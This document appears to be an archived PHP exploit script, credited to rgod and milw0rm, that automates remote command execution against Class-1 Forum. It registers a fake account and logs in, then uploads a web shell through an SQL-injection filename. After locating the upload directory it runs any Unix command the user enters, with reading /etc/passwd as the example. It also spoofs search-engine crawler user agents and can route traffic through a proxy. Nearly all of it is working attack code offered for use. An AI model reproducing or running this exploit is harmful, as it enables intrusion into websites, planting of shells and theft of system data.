http://rgod.altervista.org # # make these changes in php.ini if you have troubles # with this script: # # allow_call_time_pass_reference = on # register_globals = on # # this is my piece of poetry... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo 'class1 remote commands execution

Class-1 Forum (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path (ex: /class1/ or /forum/ or just /)

specify a port other than 80 (default value)

a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".htmlentities($headeri[$li+$ki])."
0".$datai."".$datai."  ".htmlentities($headeri[$li])."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} #STEP 1 -> REGISTER $anumber=rand(); $data="username=jimihendrix".$anumber."&email=jimihendrix".$anumber."@mail.com&password=jimyjimy&password2=jimyjimy&icq=&aim=&msn=&yahoo=&website=http%3A%2F%2F&location=&occupation=&interests=&signature=¬ify_private=on&post_count_per_page=10&thread_count_per_page=20&msg_count_per_page=20&date_syntax=D%2C+d+M+Y%2C+G%3Ai%3As"; if ($proxy=='') { $packet="POST ".$path."users.php?mode=postuser HTTP/1.1\r\n"; } else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...
'; die; } else { $packet="POST http://".$host.$path."users.php?mode=postuser HTTP/1.1\r\n"; } } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."users.php?mode=register\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 2 -> LOGIN $data="username=jimihendrix".$anumber."&password=jimyjimy"; if ($proxy=='') { $packet="POST ".$path."login.php HTTP/1.1\r\n"; } else { $packet="POST http://".$host.$path."login.php HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."users.php?mode=login\r\n"; $packet.="Accept-Language: ru\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 3 -> UPLOAD A FILE / SQL INJECTION $data='-----------------------------7d51143b10418 Content-Disposition: form-data; name="filename"; filename="shell.php.'."' or 'a' ='a".'" Content-Type: text/plain -----------------------------7d51143b10418 Content-Disposition: form-data; name="description" -----------------------------7d51143b10418 Content-Disposition: form-data; name="subject" -----------------------------7d51143b10418 Content-Disposition: form-data; name="message" -----------------------------7d51143b10418 Content-Disposition: form-data; name="inc_sig" -----------------------------7d51143b10418--'; if ($proxy=='') { $packet="POST ".$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n"; } else { $packet="POST http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n"; $packet.="Accept-Language: fr\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mediapartners-Google/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); #STEP 4 -> retrieving upload directory name if ($proxy=='') { $packet="GET ".$path."viewattach.php HTTP/1.1\r\n"; } else { $packet="GET http://".$host.$path."viewattach.php HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n"; $packet.="Accept-Language: fr\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); $location=explode('location: ',$data); $temp=$location[1]; $temp2=explode('/',$temp); $location=$temp2[0].'/'; if ($location=='') { echo 'Some problem to retrieve upload directory...
'; echo 'check this url manually... -> http://'.$host.':'.$port.$path.'viewattach.php
'; echo 'you will be redirected to upload dir...
'; echo 'then append this filename: '."shell.php.' or 'a' ='a".' and type commands
'; echo 'appending again ?command=[your command]
'; die; } echo 'Found ... checking this location -> '.htmlentities($location); #STEP 5 -> Launching commands... if ($proxy=='') { $packet="GET ".$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n"; } else { $packet="GET http://".$host.$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n"; $packet.="Accept-Language: fr\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while (!feof($fp)) { $data.=fread($fp,1); } } fclose($fp); echo 'If Class-1 Forum is unpatched and vulnerable, now you will see '.htmlentities($command).' output...'; echo nl2br(htmlentities($data)); } ?> # milw0rm.com [2005-09-09]